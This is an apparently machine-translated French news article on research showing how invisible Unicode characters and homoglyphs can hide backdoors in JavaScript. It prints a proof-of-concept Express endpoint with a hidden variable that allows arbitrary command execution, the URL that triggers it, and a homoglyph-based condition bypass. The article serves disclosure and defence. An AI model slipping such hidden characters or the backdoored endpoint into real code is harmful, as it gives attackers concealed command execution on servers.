Des caractères invisibles pourraient cacher des backdoors dans votre code JavaScript

backdoor

Des portes dérobées malveillantes pourraient-elles se cacher dans votre code, qui semble autrement parfaitement propre à l’œil humain et aux éditeurs de texte ?

Un chercheur en sécurité a mis en lumière la façon dont des caractères invisibles peuvent être infiltrés dans le code JavaScript pour introduire des risques de sécurité, comme des portes dérobées, dans votre logiciel.

Tout n’est pas ce qu’il semble, en Unicode

Plus tôt ce mois-ci, des chercheurs de l’Université de Cambridge ont révélé une attaque intelligente surnommée « Trojan Source » pour injecter des vulnérabilités dans le code source, de manière à ce que le code malveillant ne puisse pas être facilement détecté par des examinateurs humains.

La méthode fonctionne avec certains des langages de programmation les plus utilisés aujourd’hui et des adversaires pourraient l’utiliser pour des attaques de chaîne d’approvisionnement.

Cependant, l’attaque Trojan Source exploite l’ambiguïté introduite par homoglyphes, et le Mécanisme bidirectionnel Unicode (Bidi)-une fonctionnalité utilisée pour s’adapter à la fois aux jeux de caractères de gauche à droite et de droite à gauche.

Cette semaine, un chercheur a révélé comment certains caractères pouvaient être injectés dans du code JavaScript pour introduire des portes dérobées invisibles et des failles de sécurité.

Chercheur en sécurité Wolfgang Ettlinger, qui est également le directeur de Certitude Consulting, a émis l’hypothèse « et si une porte dérobée ne pouvait littéralement pas être vue et échappait ainsi à la détection même lors d’examens de code approfondis ? »

Et sûrement, il n’a pas fallu longtemps à Ettlinger pour proposer un code de preuve de concept (PoC) illustré ci-dessous. Pouvez-vous repérer la porte dérobée invisible?


const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd => cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);

« Le script implémente un point de terminaison HTTP de vérification de l’état du réseau très simple qui s’exécute ping -c 1 google.com aussi bien que curl -s http://example.com et renvoie si ces commandes ont été exécutées avec succès. Le paramètre HTTP facultatif temps libre limite le temps d’exécution des commandes », explique le chercheur dans son article de blog.

Il s’avère que la porte dérobée se trouve sur les lignes suivantes, où le caractère invisible U+3164 aka ‘Remplissage Hangul‘ réside.


const { timeout,u3164} = req.query;
...
'curl -s http://example.com/',u3164

Étant une « lettre » Unicode, le Hangul Filler peut être utilisé de manière triviale comme nom de variable JavaScript.

En effet, cela modifie la logique et le flux de travail des deux lignes par rapport à ce qui était auparavant compris.

« UNE mission déstructurante est utilisé pour déconstruire les paramètres HTTP de req.query », explique le chercheur.

Auparavant, il semblait que le temps libre était le seul paramètre décompressé du requête.requête attribut. Mais en réalité, une variable supplémentaire désignée par le caractère invisible est également récupérée.

« Si un paramètre HTTP nommé [invisible character] est passé, il est affecté à la variable invisible. De même, lorsque le checkCommandes tableau est construit, ce [invisible variable] est inclus dans le tableau », poursuit Ettlinger.

Tout cela signifie, en supposant que le code JavaScript ci-dessus a été placé sur un serveur Web, accessible à hôte : 8080, un attaquant pourrait se faufiler dans un paramètre GET représentant la variable invisible, sous sa forme codée en URL, pour exécuter du code arbitraire :


http://host:8080/network_health?%E3%85%A4=

« Chaque élément du tableau, les commandes codées en dur ainsi que le paramètre fourni par l’utilisateur, est ensuite transmis au l’exécutif fonction. Cette fonction exécute les commandes du système d’exploitation », déclare Ettlinger.

Un autre exemple intéressant de PoC partagé par Ettlinger dans son rapport est une déclaration conditionnelle, qui exploite les homoglyphes :


if(environmentǃ=ENV_PROD){

Sauf que les caractères ǃ= ne sont pas les mêmes que les « pas égal à » opérateur auquel nous sommes habitués, car ‘ǃ’ n’est pas un point d’exclamation mais un caractère Unicode connu sous le nom Clic alvéolaire.

Encore une fois, le résultat de cette expression sera toujours « vrai » car le environnement sera en fait égal à ENV_PROD, avec l’interprète ignorant presque le ‘ǃ’.

« Il existe de nombreux autres caractères qui ressemblent à ceux utilisés dans le code qui peuvent être utilisés pour de telles propositions (par exemple « / », « − », « + », « ⩵ », « ❨ », « ⫽ », « ꓿ ”, “∗”). Unicode appelle ces caractères ‘confondables‘ », déclare Ettlinger.

Le kilométrage de votre éditeur de texte peut varier

En fonction de votre développement, tous les éditeurs de texte peuvent ne pas être en mesure de mettre en évidence les personnages mystérieux ou invisibles.

La mise en évidence de la syntaxe n’est pas une approche fiable car les caractères invisibles peuvent ne pas être affichés du tout, et encore moins être colorisés par l’éditeur de texte d’un IDE.

« L’attaque nécessite l’IDE/l’éditeur de texte (et la police utilisée) pour restituer correctement les caractères invisibles », explique Ettlinger.

« Au moins Notepad ++ et VS Code le rendent correctement (dans VS Code, le caractère invisible est légèrement plus large que les caractères ASCII). Le script se comporte comme décrit au moins avec le nœud 14. »

Cependant, certains IDE semblent mettre clairement en évidence ces caractères invisibles, comprenant JetBrains WebStorm et PhpStorm, rendant cette attaque plus difficile à réaliser :

Caractères invisibles repérés par certains IDE
Caractères invisibles repérés par certains IDE comme JetBrains (Imgur)

Jouer avec des caractères Unicode invisibles n’est pas non plus une nouvelle connaissance.

Auparavant, un développeur Rust a essayé d’utiliser ces caractères pour une farce, qui a échoué, peut-être à cause des « défenses au niveau du compilateur contre ces attaques basées sur les glyphes ».

Le mois dernier, la bibliothèque populaire Node.js « ua-parser-js » a été détournée, des acteurs malveillants injectant du code dans ses versions npm pour installer des cryptomineurs et des voleurs de mots de passe sur les machines de la victime.

Et pas plus tard que la semaine dernière, des versions malveillantes de bibliothèques ‘coa’ et ‘rc’ détournées ont cassé les pipelines React dans le monde, comme l’a signalé pour la première fois EZpublish-france.fr.

Heureusement, ces attaques de la chaîne d’approvisionnement ont été détectées car malgré le fait qu’elles contiennent du code obscurci, il restait possible pour un examinateur humain ou un bot de détecter une activité malveillante, d’autant plus que les versions logicielles du monde entier ont commencé à se briser dès que les versions piratées de ces packages ont atteint npm. .

De même, en avril de cette année, des « correctifs » trompeurs créés par les chercheurs de l’Université du Minnesota qui à leur tour introduisaient des vulnérabilités ont finalement été détectés par les responsables du noyau Linux.

Mais que se passe-t-il lorsque les acteurs de la menace sont capables de cacher des portes dérobées dans un code quasi-inoffensif qui ne peut pas être facilement repéré ?

« L’équipe de Cambridge propose de restreindre les caractères Bidi Unicode [as a solution to Trojan Source]. Comme nous l’avons montré, les attaques d’homoglyphes et les caractères invisibles peuvent également constituer une menace », déclare Ettlinger.

« Ce pourrait donc être une bonne idée d’interdire tout caractère non ASCII », conseille le chercheur.